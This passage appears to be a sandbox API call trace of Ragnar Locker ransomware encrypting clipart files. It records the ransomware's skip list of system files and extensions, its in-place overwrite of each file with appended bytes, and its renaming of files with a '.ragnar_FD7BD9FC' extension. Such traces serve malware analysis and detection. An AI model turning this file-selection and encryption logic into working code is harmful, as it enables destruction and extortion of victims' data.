FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0083.069] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.069] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099152.JPG" | out: lpString1="J0099152.JPG") returned="J0099152.JPG" [0083.069] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned=".JPG" [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="autorun.inf") returned 1 [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="boot.ini") returned 1 [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="bootfont.bin") returned 1 [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="bootsect.bak") returned 1 [0083.069] lstrcmpiW (lpString1="J0099152.JPG", lpString2="bootmgr") returned 1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="bootmgr.efi") returned 1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="bootmgfw.efi") returned 1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="desktop.ini") returned 1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="iconcache.db") returned 1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="ntldr") returned -1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="ntuser.dat") returned -1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="ntuser.dat.log") returned -1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="ntuser.ini") returned -1 [0083.070] lstrcmpiW (lpString1="J0099152.JPG", lpString2="thumbs.db") returned -1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.070] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0083.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.070] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11694) returned 1 [0083.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2da5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.070] GetProcessHeap () returned 0x580000 [0083.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.070] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2dae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.072] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2dae, lpOverlapped=0x0) returned 1 [0083.073] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.073] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dae, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.073] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2dae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2dae, lpOverlapped=0x0) returned 1 [0083.074] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.074] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.074] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2dae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.074] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.074] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.074] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.074] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.074] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.074] GetProcessHeap () returned 0x580000 [0083.074] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.074] CloseHandle (hObject=0xf4) returned 1 [0083.074] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" [0083.074] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ragnar_FD7BD9FC" [0083.075] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.075] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0083.075] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.075] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099153.WMF" | out: lpString1="J0099153.WMF") returned="J0099153.WMF" [0083.075] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned=".WMF" [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="autorun.inf") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="boot.ini") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="bootfont.bin") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="bootsect.bak") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="bootmgr") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="bootmgr.efi") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="bootmgfw.efi") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="desktop.ini") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="iconcache.db") returned 1 [0083.075] lstrcmpiW (lpString1="J0099153.WMF", lpString2="ntldr") returned -1 [0083.076] lstrcmpiW (lpString1="J0099153.WMF", lpString2="ntuser.dat") returned -1 [0083.076] lstrcmpiW (lpString1="J0099153.WMF", lpString2="ntuser.dat.log") returned -1 [0083.076] lstrcmpiW (lpString1="J0099153.WMF", lpString2="ntuser.ini") returned -1 [0083.076] lstrcmpiW (lpString1="J0099153.WMF", lpString2="thumbs.db") returned -1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.076] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0083.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.077] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13874) returned 1 [0083.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3629, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.077] GetProcessHeap () returned 0x580000 [0083.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.077] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.078] VirtualAlloc (lpAddress=0x0, dwSize=0x3632, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.079] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3632, lpOverlapped=0x0) returned 1 [0083.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.080] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3632, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.080] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3632, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3632, lpOverlapped=0x0) returned 1 [0083.080] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3632, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.080] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3632, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.080] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.080] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.080] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.080] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.081] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.081] GetProcessHeap () returned 0x580000 [0083.081] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.081] CloseHandle (hObject=0xf4) returned 1 [0083.081] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" [0083.081] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ragnar_FD7BD9FC" [0083.081] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.081] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0083.081] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.081] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099154.JPG" | out: lpString1="J0099154.JPG") returned="J0099154.JPG" [0083.081] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned=".JPG" [0083.081] lstrcmpiW (lpString1="J0099154.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.081] lstrcmpiW (lpString1="J0099154.JPG", lpString2="autorun.inf") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="boot.ini") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="bootfont.bin") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="bootsect.bak") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="bootmgr") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="bootmgr.efi") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="bootmgfw.efi") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="desktop.ini") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="iconcache.db") returned 1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="ntldr") returned -1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="ntuser.dat") returned -1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="ntuser.dat.log") returned -1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="ntuser.ini") returned -1 [0083.082] lstrcmpiW (lpString1="J0099154.JPG", lpString2="thumbs.db") returned -1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.082] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0083.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.083] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6929) returned 1 [0083.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.083] GetProcessHeap () returned 0x580000 [0083.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.084] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.086] VirtualAlloc (lpAddress=0x0, dwSize=0x1b11, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.086] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b11, lpOverlapped=0x0) returned 1 [0083.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.087] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b11, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.087] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b11, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b11, lpOverlapped=0x0) returned 1 [0083.087] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b11, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.087] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.087] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.087] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.087] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.087] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.088] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.088] GetProcessHeap () returned 0x580000 [0083.088] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.088] CloseHandle (hObject=0xf4) returned 1 [0083.088] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" [0083.088] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ragnar_FD7BD9FC" [0083.088] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.088] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0083.088] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.088] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099155.JPG" | out: lpString1="J0099155.JPG") returned="J0099155.JPG" [0083.088] PathFindExtensionW 